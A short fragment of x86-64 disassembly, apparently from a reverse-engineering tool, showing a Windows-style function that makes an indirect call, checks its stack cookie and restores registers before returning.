mov qword [rcx + rax*8 + 0x37c620], r15
mov qword [rcx + rax*8 + 0x37c940], r10
add rax, r13
mov qword [0x14037c610], rax
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x38]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call r10
nop
movabs rax, 0xff00ff00ff00ff07
xor rbx, rax
mov qword [r12], rbx
mov rcx, qword [rbp + 0x68]
xor rcx, rsp
call fcn.14015a2d0
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret